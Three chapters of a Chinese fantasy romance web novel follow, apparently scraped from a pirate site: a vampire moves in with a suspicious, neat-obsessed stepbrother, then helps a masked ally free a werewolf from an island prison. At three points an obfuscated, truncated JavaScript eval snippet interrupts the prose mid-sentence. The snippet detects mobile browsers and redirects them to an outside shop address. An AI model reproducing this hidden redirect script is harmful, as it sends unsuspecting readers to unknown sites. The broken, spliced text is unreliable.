《我的继兄不可能是魔女》 1. 第 1 章 “快找!” “异端就在这一带!别让它跑了!” 急促的脚步声从层层叠叠的瓦砾上方传来,军靴厚重坚实的鞋底踏在断裂成块的楼板上,咚咚的震响宛如催命鼓点。 尘灰飞扬的瓦砾间,喷溅满地的鲜血悄然汇聚成溪,如同有自主意识一般一点点爬上凹凸不平的楼板废墟,流向一条伤痕累累的胳膊。 涓流的血溪刚一接触到手臂表面,就像碰到海绵一样迅速渗入苍白的皮肤。 眨眼间,遍布伤痕的胳膊修复一新,抽搐几下后,以极快的速度缩回瓦砾之间。 原叶用力抽回被挤压变形的胳膊,咬着牙按住软塌塌的上臂一推一按,将脱臼的肩膀安回原位,一根一根缓慢活动手指,直到裂开的骨头在自我修复的能力下慢慢拼合完整,扭曲的手指重新伸直。 修复的过程剧痛无比,原叶冷汗淋漓,梗着脖子挤出无声的尖叫。 这里不是人类安全的平民区吗? 为什么会毫无征兆地被轰炸啊?! 原叶想崩溃大叫,又怕声音暴露了位置,只能窝囊地咬牙,硬生生将冲到嘴边的脏话咽了回去。 刚刚她隐约听见圣裁军说着什么异端什么搜查之类的话,估计是哪个倒霉蛋又暴露了。 圣裁军这次八成不是冲她来的,她的伪装堪称完美,和人类共同居住的两年里从没露出过马脚。 但城门失火她为池鱼,作为人类口中的异端里的一员,是时候跑路了。 但是…… 原叶跪在地上,摸着满地被砸得稀烂的魔女周边,心痛到窒息。 毁了……全毁了…… 魔女的周边除了真爱粉自制之外没有任何入手渠道,她花了几年才买断的魔女吧唧散落一地、被瓦砾刮花,自印的魔女立牌和小卡弯折破损、沾满尘土,纯手工缝制魔女布娃娃棉花爆开,身首分离…… 她辛辛苦苦手搓的、饱含对魔女热爱的周边啊! 原叶鼻子一酸,到底没忍住,大颗大颗的泪珠噼里啪啦地砸在地上。她用力一锤墙,身后断壁残垣勉强撑起的三角形空间发出刺耳的裂响。 “喂!那边有动静!” 头顶摇摇欲坠的瓦砾上层传来圣裁军声音,沉重的脚步声越来越近。 君子报仇,十年不晚。 原叶抹掉眼泪,捡了几个还算干净的吧唧揣进兜里,捏着裂屏进灰的手机,捞起存着上千小时游戏时长存档的主机,身型一闪,“嗖”地变成一只仓鼠大小的蝙蝠。 灰扑扑的迷你蝙蝠翅爪并用,小心翼翼地在瓦砾缝隙间钻出,避开头上圣裁军的声音匍匐前行,飞快从瓦砾间溜走,消失在草丛之中。 在她身后,脆弱的废墟轰然倒下,将魔女的周边彻底掩埋。 一小时后,原叶倒挂在一颗位于监控死角的景观树上,张开翅膀,像旋转的陀螺一样稀里哗啦地抖毛,试图把这一路的灰尘和狼狈都甩得一干二净。 直到身上的手机发出嗡鸣,原叶变回人形,按亮屏幕,看着聊天框里肯定的答复,深吸一口气,抱着游戏主机从树上跳下,一步三磨蹭地走向不远处的二层小洋楼。 站在干净的玄关前,原叶伸手去按门铃,指尖接触到金属表面,轻微的寒意顺着指尖隐秘窜上,一如被埋在砖瓦之下的女人冰冷的尸体。 恍然间想起那名女士,原叶停下按门铃的动作,有些发怔。 两年前,为了无缝混入人类社会生活,她顶替了一名坠楼死亡的人类女孩住进了她家,也拥有了一位人类继母。 她用支配魔眼让这名母亲和四邻都深信“原叶”就是她休学在家的女儿,与她扮演了两年和谐母女,没有露出任何马脚。 只可惜,这场突如其来的大面积轰炸夷平了一切。 那个人类继母没能幸存。 临死前,女人撑着一口气向她递来裂屏的手机,交待她去投奔她常年分居两地、带着一个儿子生活的二婚丈夫。 原叶这时才知道,这个她一直以为是单亲妈妈的人类继母还有丈夫和儿子。 她住进她家的这两年里,从未听她说起过这些。 而现在,她站在了他们家门前。 她与这名义上的继父和继兄素未谋面,也不知道他们的底细,但想到这两人独自在繁华的商务区住这样好的房子,却让继母一人在平民区的小房子里和女儿相依为命,心中便升腾起一阵说不清道不明的厌恶情绪。 别想了。 原叶用力摇摇头,甩掉多余的想法。 她必须拥有一个安全稳定的住所,这是第一要务。 在外面游荡久了,容易引起圣裁军的怀疑。 原叶指尖颤了颤,闭上眼做了个深呼吸,再次睁开眼睛时,原本平静无波的表情已经被瑟瑟发抖、惊魂未定的可怜神态代替。 手指用力,她按下门铃。 几秒钟后,原色木门咔哒一声向外打开,原叶后退几步,一只骨节分明的手撞入眼帘,顺着泛粉的指节往上,是修长有力的腕骨。小臂紧实,隐约可见青色的血管缠绕,皮肤白皙,筋骨流畅。 这个人绝对很好吃。 这是原叶脑子里蹦出的第一想法。 开门的男人大半身子隐在门后,原叶慢慢抬起头,压制住被眼前优质食物勾起的馋欲,看向男人的脸。 这一眼,原叶的瞳孔轻微放大。 面前的年轻男人眉如远黛,鼻梁高挺,一双漂亮的桃花眼,眼尾微微上扬,妖艳得摄人心魄,然而漆黑如墨的瞳眸却不见一丝光亮,将这份艳色生生压下,显得神情疏冷,难以接近。 他微微侧头,散落的黑发被随意绑在脑后,垂落下来几缕扫过脸侧,透着几分慵懒。 “你就是原叶?” 原叶咕咚咽了下口水。 她刚修复了身体,正是饥肠辘辘的时候,眼前的男人无论是外观还是身材都堪称极品,只消一眼就知道这人绝对是她近十年见过品质最好的人类,血液一定鲜美无比。 不行,这是窝边草,绝对不能动,要忍耐! 忍住啊! 原叶指甲掐进掌心,按捺下隐隐冒头的尖牙,装出怯生生的样子,轻轻点了点头。 “我是原叶,请问……” 眼前的男人看着二十来岁,不像是继父,估计是他儿子。 原叶回忆着继母手机上的备注名,慢吞吞地问:“你是雅彦吗?” “嗯。”她名义上的继兄长臂一展,将大门彻底打开。 午后恹恹的阳光照进昏暗的玄关,原叶注意到他另一只手垂在身侧,似乎正握着什么东西。 光线影影绰绰,她看不真切,只能从形状判断好像是个很粗壮的圆柱体。 什么玩意? 不会一言不合就给她开瓢吧? 原叶警惕地后退,雅彦的手臂已经伸过来,掌心的圆柱体随着抬手的弧度一点点暴露在阳光下,厚重光滑,散发出浓烈的化学品气味。 原叶呆呆地看着上面的标签。 多用途抽取式除菌湿巾。 家庭用大桶装。 “你住二楼,不要进我的房间,不要碰我的东西,保持清洁。” 雅彦低垂着眼睫,语气淡然,递出钝器级别的湿巾。 “……” 装货。 原叶心里暗骂一声。 想到现在是她有求于人,大女子能屈能伸,还是老老实实接过消毒湿巾,微微仰着头,露出憨厚的笑脸:“我明白了,谢谢你。请问我可以进去吗?” 吸血鬼必须经过邀请才能进入人类的家。 快,快点答应。 原叶在心里催促。 经历了轰炸后的全身修复,加上一路奔波,她现在累得一根手指都不想动,恨不得马上进屋睡个天昏地暗。 快让我进去! 眼前的男人半眯着眼,浓密的长睫下目光尖锐,看着她的视线近乎审视。 原叶觉得自己像是被人形X光机来回扫描了一遍。 她硬着头皮去盯回去,却见雅彦唇角扬起细微的弧度。 这一笑犹如春风拂过,融化了冷淡疏离的神态,绽出惊心动魄的侬丽艳色。 原叶眼睛睁圆了。 有戏! 雅彦唇角的笑容越发明显,原叶的期待值也越发高涨,就等他点头。 雅彦缓缓开口,吐出两个字。 “不行。” 原叶呆立在原地,觉得雅彦瞬间不帅了,丑得面目可憎。 “啊,为什么呢?”她迅速在眼眶挤出盈盈泪光,“叔叔说我可以住在这里的。” “一码归一码。”雅彦轻笑一声,“你身上太脏了,先把自己处理干净。” 他双臂抱胸倚在门框,高大的身材将门口挡得严严实实,像一堵贴着“脏东西不得入内”的墙,大有原叶不把自己搞干净就不让她进门的架势。 有病啊! 她刚才已经抖过毛了,哪里脏了? 没礼貌的装货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326909|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 原叶脑门青筋直跳,深吸一口气,再三劝解自己这是卧薪尝胆的最后一步了,先搞到住的地方再说,一切秋后算账。 她放下一直抱在怀里的游戏主机,打开湿巾盖子,开始在门口窝囊地擦手擦脚。 直到三四张湿巾变成灰扑扑的团,原叶才在雅彦审视的目光下,获得了进门的许可。 “可以了,进来。”雅彦转身进屋,给原叶让出大门,“你的房间里有浴室,晚饭前再洗一遍澡。” “好的,我知道了。” 原叶咬着牙踏进玄关,跟在雅彦后面换鞋,忽然有点理解继母为什么要单独在外居住了。 与其和这种变态洁癖继子相处,还不如一个人带女儿出去住清静。 一个继兄就这么难缠了,上梁不正下梁歪,不知道继父又是什么神人。 原叶做好心理准备,小心翼翼地走进客厅,却发现诺大的房子空荡整洁,似乎并没有第三个人的身影。 “那个,叔叔呢?”原叶试探地问。 “他不在这儿住。” 雅彦的回答让原叶顿感意外。 她明明是在手机上先联系的继父,说明情况并表达了借住的意愿,得到许可后才按他说的地址过来按的门铃,感情这继父答应的那么爽快,是因为他根本不住这里? 原叶猜测,在这个人类继父的视角下,一个素未谋面、目前处于休学状态、大概率因遭遇轰炸和丧母在心理和生理上有重大创伤、没法自己赚钱的破产继女无疑是个超烫手的大山芋。 于是他直接把她丢给了自己独居的儿子。 看来雅彦在他爸心里的地位也不怎么样嘛。 无所谓,反正她有住的地方就行。 原叶盯着在前面带路的雅彦,呲牙咧嘴地朝他的背影做鬼脸。 雅彦背影一顿,似有所感。 在雅彦转身之前,原叶迅速接过话头,“啊……这样啊,那只有我们两个人住在这里吗?” 雅彦停下脚步,一个猛回头,原叶猝不及防,差点撞上他的背。 “两个人……”雅彦唇边浮现出意味不明的笑,两颗黑漆漆的眼珠一眨不眨地盯在她身上,“是啊,只有我们两个人。” 原叶被他盯的后背发麻,不知道为什么,雅彦明明是个人类,却总给她一种大白天活见鬼的错觉。 “说起来,你看新闻了吗?这次轰炸让整个平民区的人口减少了四分之一。”雅彦淡红的薄唇轻启,轻飘飘地转移话题。 原叶一路上都用蝙蝠的形态避着监控摄像头跑路,压根没空关注新闻。她知道这次轰炸的面积大,没想到会直接削去四分之一的人口。 那可不是小数目。 原叶怯生生地摇头,“我没有顾上看新闻……” “没事,现在你知道了。”雅彦紧紧盯着她的脸,隐约笑出森白的牙,“你家好像就在轰炸中心不远处吧……但是,你好像没有什么大碍?” 原叶呼吸一滞,她原本身上还沾了一层薄灰勉强伪装,进门前没留神都用消毒纸巾擦干净了,现在露在外面的脸蛋和手脚皮肤光洁白皙,连条划痕破口都没有,确实说不过去。 大意了。 原叶眼眶一红,泪珠簌簌落下:“……我……我当时在床下找东西,房梁塌下来,我正好在安全三角下……呜,我才没受伤,可是妈妈她、妈妈她被砸死了……” “是吗?”雅彦丝毫没有展现任何同情心的征兆,唇角嘲讽似地冷冷勾起,“你在找什么?” 有病啊,在这里刨根问底做什么? “……找我的珍藏品。” 原叶干脆假戏真做,掏出口袋里还算完好的魔女吧唧,捧在手心。 反正大部分人类都不认识魔女,只要她说这是她喜欢的地下偶像,基本就能糊弄过去。 “这是我推……啊,就是很喜欢的偶像的意思,我很喜欢她,所以有收藏她的周边产品。” “哦……”雅彦盯着她护在手上的吧唧,眼睫闪了闪,再次露出意味不明的微笑,“这是你的偶像?” “是的。”原叶扬起脸,迎上雅彦幽暗的视线。 雅彦定定地看着她,忽然绽开笑容:“楼梯上去右手边就是你的房间,你今天一定很累了,先去洗澡吧,吃晚饭时我叫你。” 雅彦的语气一改先前的冷淡疏离,温和又甜蜜,轻柔到堪称和蔼,宛如蝶翼拂过清流。 原叶起了一身鸡皮疙瘩。 坏了,碰上精神病了。 12. 第 12 章 “喂!”原叶大喝一声,如一阵旋风般冲上去一拳揍进狱警肚子,“你干什么呢?!” 难怪门口椅子没人,原来是擅离职守在这里欺负人! 原叶最见不得这种场面,趁着狱警没反应过来,又抡圆了拳头重重给了他喉咙一击。 狱警惊愕地瞪大眼,剧烈干呕一声,原叶一把掐住狱警下巴强迫他抬头,以支配魔眼逼视,狱警抽搐着瘫软在地。 推开瘫软的狱警,原叶快步走到奄奄一息的男人旁边,正想检查他是否还有气,身后的机器忽地发出嗡鸣。 这是一种很类似定时器的嗡鸣声,原叶谨慎地后退几步,发现那机器不仅是将男人束缚,还有无数管道从背后与尾椎内扎进脊柱,抽取着血液和脊髓,鲜红的颜色经过装置后变化为不同的颜色,有序分流融进那些装满液体的管道里。 随着机器的不断抽取,男人刚刚有痊愈迹象的伤口又再次萎缩下去。 原叶直觉这机器不对劲,立即四下寻找,看到墙壁上的开关,把机器停了。 机器停后,男人的呼吸声明显强了些,朦胧的眼珠微微颤动,意识似乎也逐渐清醒。 原叶关切地凑上前,“你怎么样?能说话吗?” 男人艰难地抿掉唇边血迹,慢慢摇了摇头。 “我们是来救你的,卢卡斯。”莲从后面走过来,声音平静无波,“会长和狼群都很担心你。” 或许是听到“会长”和“狼群”的字眼,男人略带紧张的表情松弛下来,他张了张唇,似乎想要说话,却只能发出低哑的叫声。 原叶觉得有些不对,立即凑上前捏住卢卡斯的下颌,见深红色口腔里空空荡荡,不由痛惜地摇头。 “他舌头被剪掉了。”原叶凝重的目光从卢卡斯残缺的口腔移向他全身的拘束器具和颈间厚重的项圈,秘银制成的镣铐正在灼烧他的皮肤。 秘银能抑制血族和狼人的力量、阻碍血肉再生,身为曾被秘银刀洞穿过喉咙的人,原叶对这份痛苦再清楚不过。 她咬了咬后槽牙,对莲说:“你能打开这些吗?” 莲点头,锁住卢卡斯的金属镣铐瞬间融化,卢卡斯踉跄着单膝跪倒在地上,反手将扎进后背的抽取管道一把拽出,鲜血顿时流了一地。 原叶关切地去扶,却先望见卢卡斯湿润的琥珀色眼瞳。 卢卡斯捂着被秘银灼烧过的喉咙,颤巍巍地抬起头,一眨不眨地看着她。 他五官深邃俊朗,虽然身材高大,但眼神依然有着藏不住的青涩少年气,估计才刚成年不久,银白的碎短发散落眉间,一双写满期冀的湿润眼眸亮晶晶地看着她,嘴唇一张一合,看口型是在说谢谢。 被宛如小狗一般的卢卡斯这么一望,原叶顿时迷迷糊糊,忍不住抬手,轻轻摸了摸他的头。 没想到这一下,卢卡斯头顶嘭地冒出两只毛茸茸的狼耳,背后不知何时长出一条绒毛浓密的尾巴,尾尖微微上翘。 他侧头,将耳朵塞到原叶手心,乖巧地蹭了蹭。 手心暖烘烘毛茸茸的触感、少年温驯的动作,加上满地鲜血浓郁的气味,原叶头晕眼花,说话也结巴起来:“那、那什么,你别害怕,我们会带你出去的……” “差不多行了,”身后的莲冷声打断,将原叶从毛绒天堂打回现实世界,“没时间了,先出去再说。” 原叶悻悻地收回手,正准备拉卢卡斯起来,莲忽然大步上前,将一瓶液体兜头浇在卢卡斯身上,动作毫不客气,仿佛是在驱赶什么不干净的东西。 “喂!”原叶立刻跳起来,“你干什么?” 隔着面具,她感觉莲好像冷冷地瞥了她一眼。 “没……事……” 手腕处传来温热的触感,原叶回头,看到卢卡斯轻轻握住了她的手腕。 他表情有些迷茫和无辜,深邃英俊的五官被泼得湿淋淋,洁白的发丝黏在脸侧,有些干裂的嘴唇微张着,依稀可见里面深红的舌尖。 “你能说话了?”原叶惊讶地说。 “他当然能,”莲的声音更冷,视线几乎凝成结晶小刀,“这是会长配的治愈药水,别说舌头,断了胳膊腿也能长出来。” “哦,你早说啊。”原叶依旧为卢卡斯抱不平,“直接泼人也太没礼貌了,你把他吓到了。” “……没关系。”卢卡斯轻轻捏了捏她的手,慢慢站起身,浑身淤青流血的伤口以肉眼可见的速度淡去,后背的数个血洞也已愈合,但似乎太久没有正常说话,声音依旧有些低哑,“我的伤,都好了。谢谢你们。” “客气了。”原叶拍拍卢卡斯的手背。 卢卡斯身材高大,四肢尤为修长,站起来后,骨节分明而宽大的手从她的手腕慢慢滑下,轻柔地握住她的手。 原叶仰起脸,便望见卢卡斯湿润通透的琥珀色眼瞳,他浓密的浅色睫毛颤抖着,神情青涩又无助,还有着一丝微微的紧张和期待。 还是小孩子啊。 原叶不由在心中叹息。 想到卢卡斯不知道在这里被关了多久,期间又受了多少屈辱,现在想必正是脆弱的时候,原叶便安抚式地拍了拍他,反握回去。 卢卡斯的手指有些凉,指尖还有不易察觉得颤抖,宛如惊魂未定的幼犬,更让原叶觉得可怜。 她想起早年自己刚刚一个人在污染区生活时,有一次不慎踏进陷阱,两条腿都被圣水烧成灰,只能拖着仅剩的上半身一点点爬回四处漏风的小山洞,忍着疼痛和饥饿,慢慢等着肢体生长。 那时候如果能有人突然出现用治愈药水帮她修复身体,或者给她一些食物,帮她一把的话,她可能会直接扑上去将其认作义母。 只可惜当年的她并没有现在的卢卡斯这样幸运。 原叶这样想着,另一只手也覆上卢卡斯的手背,用力握紧,柔声道:“别害怕,恢复了就好,出去后我们再和你细说。” 话音刚落,原叶无端觉得背后一寒,仿佛有厉鬼站在身后。她诧异地转过头,见莲双手抱胸,视线沉沉地落在她和卢卡斯交握的手上。 不知道为什么,莲周身的氛围气压极低,房间内明亮的光打在他身上,却像是被吸入无底的黑洞,空气到他那里仿佛都沉降一层。 “该走了。莲冷淡地说。 原叶低头看了眼腕表,不置可否,于是笑着对卢卡斯说:“你跟着我们。” “好。”卢卡斯乖顺地应道。 莲从包里掏出一件外套扔给卢卡斯,冷声叮嘱:“出去的路上不要说多余的话,保持安静,务必跟紧。” “还有,你的这些,”莲停下脚步,目光上下扫过卢卡斯头顶的狼耳和身后毛茸茸的大尾巴,“太显眼了,收一下。” “好的。”卢卡斯顺从地穿上外套,身后的尾巴唰地消失不见,头上的耳朵却依然□□。 “咦?”卢卡斯皱起眉头。 原叶听见卢卡斯疑惑的气声,好奇地看过去,见卢卡斯紧皱着脸,小麦色的皮肤憋出一层薄红,头顶奶油色的狼耳晃了晃,依旧活灵活现地竖着。 “好像……收不回去了……”卢卡斯沮丧地垂下眼帘,绒毛的耳尖也跟着垂下,神情可怜又无助,“可能是身体还没完全恢复,对不起。” “半吊子。”莲冷哼一声。 原叶瞪了一眼不知道为什么突然走起毒舌高冷人设的莲,又看了看可怜巴巴的卢卡斯,摘下自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326920|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的鸭舌帽递过去:“没事,你戴我的帽子吧。” “谢谢你。”卢卡斯澄澈的棕瞳唰地亮起,双手接过鸭舌帽,小心翼翼地戴在头上,两朵耳朵便被软软地按进帽子里。 莲凉凉的视线又投了过来,“你倒是人挺好的。” 原叶嘿嘿一笑,正准备说没什么,却见莲迅速掏出隐蔽闪闪喷雾,唰唰地给卢卡斯喷了一身一脸,又往自己身上和她头顶快速补喷数泵。一时间,三个人都闪得像是站在健美比赛舞台的聚光灯下,只等裁判公布谁是冠军。 “这是?”卢卡斯看着闪闪发亮的皮肤,表情迟疑。 “隐蔽用的。”原叶闪闪发亮地解答。 余光看见莲已经用异能开了门,原叶心知时间紧迫,于是迅速拉起卢卡斯的胳膊,快步跟上。 卢卡斯虽仍有些虚弱,但精神状态还不错,腿脚也很麻利。一路随他们穿过层层金属门回到电梯,莲负责开门,原叶负责用魔眼开路,卢卡斯紧跟在旁,三人有条不紊地向来时的维修通道迈进。 这座离岛监狱内部柱状结构,牢房与牢房之间排列紧密,中庭矗立着一座监控塔,对所有通道和牢房一览无余。 从电梯出来后,需要经过一段暴露在监控塔视线内的通道,伊洛缇娅的隐蔽喷雾虽然能让他们避过摄像头的监测,但绕不开肉眼。 莲事先对监狱的调查十分充足,原叶不知道他是从什么渠道获知的,总之来去两次经过监控塔可视范围内的路线时,都正好赶上监控塔守卫换班。 抓住这不到两分钟的空隙,三人迅速从走廊跑过,顺利转过拐角,进入维修通道前的最后一段通道。 刺耳的警报声骤然响彻,锐利的声波入利刃般扎进耳膜。 霎时间,通道被警报灯的红光笼罩,一层层金属栅栏骤然降下,将走廊隔断,枪械摩擦和匆忙的脚步声从远方传来。 “是不是机器停了被发现了?!”原叶陡然一惊,迅速指向声音的源头,“那边来人了,听声音有两队,一队去了电梯,一队……” 尖锐的警报声、嘈杂的脚步声与话音交织,整座监狱内睡眠的囚犯也被惊醒,一时间,整座监狱混乱无比,无数杂音交错。 原叶紧皱着眉努力辨认着,随即惊恐地发现另一队人正在整层散开搜查,即将进入他们目前所在的通道。 “另一队马上就会过来!”原叶急道,迅速推算距离和可能与狱警遭遇的时间,“八十米、六十米……二十秒后就会发现我们!” “那就绊住他们的脚。” 莲微微仰头,周身气场骤变,一道看不见的力场以他的身体为中心极速扩散。 没了帽子,原叶的发丝被无形激荡的力量吹起,丝丝缕缕地拂过眼帘,几乎迷眼的狂风与压迫感中,她看清眼前的景象,情不自禁地瞪大了眼睛。 隔断走廊的层层金属门尽数融化,外面所有牢房的栅栏也不翼而飞,犯人们踩着满地融化的金属冲出牢房,与奔跑的安保队撞了个正着。 枪声四起,暴乱一触即发。 就在为首的狱警即将冲进他们所在的拐角通道时,液态金属迅速聚集在通道口,竖起严丝合缝的厚重高墙,将通道与外面混乱的监区彻底隔开。 嘈杂无比的声音随着金属高墙的凝固骤然静寂,原叶从喉咙中发出细微的声响,这时攥紧的拳头中才传来一阵刺痛感觉。 “……牛啊。” 半晌,她才如梦初醒般,缓缓吐出两个字,随即用力竖起两个大拇指,激动地边跺脚边朝着莲摇手,“牛啊!!” 莲很轻地笑了声,转身打了个响指,通道尽头维修通道的门应声而开。 “走吧。” 13. 第 13 章 三人迅速从维修通道进入下水道,像来时一样被泡泡裹着冲出排污口,静静潜伏在海底。 只不过这次泡泡里多了一个人。 “刚才好险啊,”原叶心有余悸地抱膝坐在泡泡里,扫了一眼同样蜷缩成一团的卢卡斯,仰头对莲说。 “你怎么做到的?引起监狱内的暴动……他们这下肯定无暇顾及我们了。” 莲正操纵着泡泡在漆黑一团的海底移动,听见她的问题,淡淡地转过身:“我可以操纵金属,去掉牢房栅栏并不算难。” 原叶恍然大悟,转头望向排污口的方向:“所以你不仅能破坏那些金属尖刺栅栏,照样复原,还能弄出这种大泡泡?” 莲“嗯”了一声。 “真行,其实你一个人也能把卢卡斯救出来的吧。”原叶不禁咂舌,“又是泡泡又是金属,还是黑客,有什么是你不会的吗?” “我不会的东西很多,这些也不是一生下来就会的,”莲摇了摇头,“都需要不断练习。” 原叶深有同感,她的许多技能也是后天不断磨砺得来的。正准备再问时,莲忽然转过身,操纵泡泡迅速疾行数十米,吸附在一片巨形珊瑚丛的阴影处。 “我们暂时先藏在这里,附近的海面已经被直升机和船舶包围了,现在出去会被发现。” 莲忽然看向卢卡斯,“卢卡斯,你从刚才开始就一直在发抖,是不是怕水?” “还好。”卢卡斯面色有些苍白,他仰起脸,抿唇回以微笑。 “没事,你不用逞强。”莲的声音清朗和缓,满是关切,“你是远古北极狼一脉吧?怕水也很正常。害怕就说出来,我们不会笑话你。” 莲的语气温柔得瘆人:“没事的,卢卡斯。说出来,我们一起想办法。” 一旁的原叶隐约觉得莲这话哪哪都透着古怪,视线不由狐疑地在莲和坐在一旁的卢卡斯脸上打转。 卢卡斯飞快地看了她一眼,随即撑着站起身,颤声说:“我没事。” 随着起身的动作,卢卡斯浅白的发丝散落几缕,遮住琥珀色的瞳孔。他眼尾泛着隐约的红,背在身后的指节攥得发白,手臂上青筋微微凸起。 原叶有些不忍,拉住卢卡斯的手腕轻轻拽了拽,示意他不用强撑:“没事的,要不你试试看蒙上眼睛,想想自己在巢穴里睡觉?” “好。”卢卡斯轻声应道,慢慢坐回原叶旁边,呼吸逐渐平复,眼睛却没有闭上。 他专注地望着她,瞳色清浅,“谢谢你们救我出来,我可以知道你们的名字吗?” 原叶恍然大悟,刚才为了防止声音被录下,她和莲在监狱里没有都和卢卡斯说过名字。现在身处海底,周围无人,倒是自我介绍的好机会。 “我是原叶,吸血鬼。”原叶微笑着说。 卢卡斯眼底飞快闪过一丝惊异,棱角分明的唇动了动,却没有出声。 原叶看出他的欲言又止,露出无所吊谓的笑容:“没错,血族没死绝,还剩一个我。但是你不要声张出去哦,这件事知道的人越少越好。” 卢卡斯的眼睛颤动一瞬,坚定不移地用力点了点头:“我不会告诉任何人的。” “好哦。”原叶笑眯眯地点头。 介绍完自己,她望向一旁的莲,见他半天毫无反应,忽然恶向胆边生,狞笑着伸手一指,对卢卡斯说:“他是莲,外星人。” “外、外星人?”卢卡斯琥珀色的眼睛一下瞪圆了。 原叶语重心长地颔首:“是的,你没听错。” 莲冷哼一声,终于转过脸来,劲腰上挂着的刀匕发出轻微的碰响,“你说谁是外星人?” “谁应声谁是外星人。”原叶呲牙做了个鬼脸,“外星人、外星人、戴面具的外星人!” 莲凉凉的视线扫过来:“三脚猫的激将法对我没用。” “切。”原叶悻悻地别回头。 本来想趁机让莲说出他的种族的,这装货真是无懈可击。 一旁的卢卡斯忽然低声笑起来,清俊的眉眼间却隐约流露出落寞的神色:“……你们关系真好。” 闻言,原叶愣了一下,莲也沉默了。 经历共同劫狱这一遭,眼看莲多次大展身手,还在关键时刻争取到了安全逃离监狱的时间,原叶扪心自问,确实觉得心理上与莲的距离拉近不少。 而且不知道为什么,或许是发现莲虽然外表潮得不行,但接触下来却没有想象中的距离感,甚至时常给她一种微妙的被包容感。 尽管这才是第二次正式见面,她已经不知不觉松懈下来,开始和莲开起来玩笑。 模模糊糊的感觉在此刻被卢卡斯点破,原叶忍不住脚趾扣地,试图抠出比巴卜梦幻城堡分散这份莫名的尴尬。 怪,太怪了。 半晌,莲率先打破沉默,似笑非笑地对卢卡斯说:“怎么,你羡慕了吗?” “……”原叶猛地打了个冷颤,随着莲这句带着笑意的话轻飘飘落地,那点微妙的尴尬好像被人用放大镜照着看的蚂蚁一样,爬得她心里直刺挠。 原叶抓耳挠腮,忍不住压低声音对莲说:“你为什么要对卢卡斯说怪话?他现在正是身心脆弱的时候,别再给他增加精神负担了。” 说完,原叶无视莲欲言又止的动作,若无其事拉起卢卡斯外套的立领帮他围住脖颈,轻声说:“没事,你就想象这个是被子,现在你已经盖上被子躺在被窝里了。周围都很安全。” “好,我试试。”卢卡斯抿唇,听话地合上眼睛。 卢卡斯闭目后,浅色的睫毛更显浓密,仿佛积雪的蝶翼般轻盈精美,看得原叶刚才尴尬情绪消散不少。 她一身轻松地站起身,腿上忽然传来暖绒绒的触感。 低头一看,卢卡斯雪白的大尾巴不知道什么时候冒了出来,正悄悄勾着她的小腿。 卢卡斯的尾巴又大又蓬松,毛质绵密,整体呈现出漂亮的奶油色,此时正软软地贴在光裸的小腿上,暖呼呼的绒软触感将原叶再次勾上毛绒天堂。 原叶的喉咙发出短促的气声,忍不住悄悄把腿往卢卡斯尾巴里放了放,刚弯下腰想伸手去摸,背后忽然窜上一阵恶寒。 一回头,见莲双臂环胸,整个人气压低得冻人:“……住手,你和卢卡斯是第一次见面吧。” “是啊,”原叶不明所以地收回手,“怎么了?” “初次见面就去摸人的尾巴,不合适吧。”莲声调冷淡,“狼人的尾巴可是很私密的。” “没关系,”卢卡斯不知道什么时候睁开眼睛,琥珀色的双瞳在昏黑的海底依旧透着清泠泠的亮光,“我愿意让她摸。” 卢卡斯湿润的视线望向原叶,唇边绽出柔和的微笑,将尾巴递到她手里:“你想摸就摸,没事的,我不介意。” 原叶下意识握住,暖融融的热量顺着卢卡斯尾巴上厚实的毛慢慢渗透上来,烘得她口干舌燥。 望着卢卡斯澄澈的双眼,原叶结结巴巴地问:“真、真的可以吗?” “当然。”卢卡斯笑眯眯地勾唇,尾巴摇动,轻轻顶了顶原叶的手心。 莲重重咳了一声,吓得原叶一个激灵,她捏着卢卡斯毛茸茸的大尾巴,不满地转过头,“干嘛?卢卡斯都说可以摸了,难道你也想摸吗?那你得征求人的意见。” 莲的手背上崩起一根青筋,胸膛剧烈起伏,像是在深呼吸控制情绪。 原叶莫名其妙,松开抓住卢卡斯的尾巴,学着莲的样子双臂环胸,眯起眼观察他。 莲始终默不作声,只有胸膛不断起伏。 就在原叶以为莲要被他的那张面具憋晕的前一秒,莲终于平复下来,他双手缓缓从胸前放下,垂在身侧,语气诡异地平静:“没什么,不知道海面上情况怎么样了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331663|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是哦,好像有一阵子了。”原叶眼珠转了转,也放下抱胸的手臂,“我去看看吧。” “看看?”莲似乎有些意外,声调高了些,“你打算怎么看?” 原叶撇了撇嘴,大马金刀地往泡泡里一坐,抬起头笑嘻嘻地说:“不是有你的泡泡吗?如果给我单独上一个小点的泡泡,我能不能从里面控制泡泡移动?” 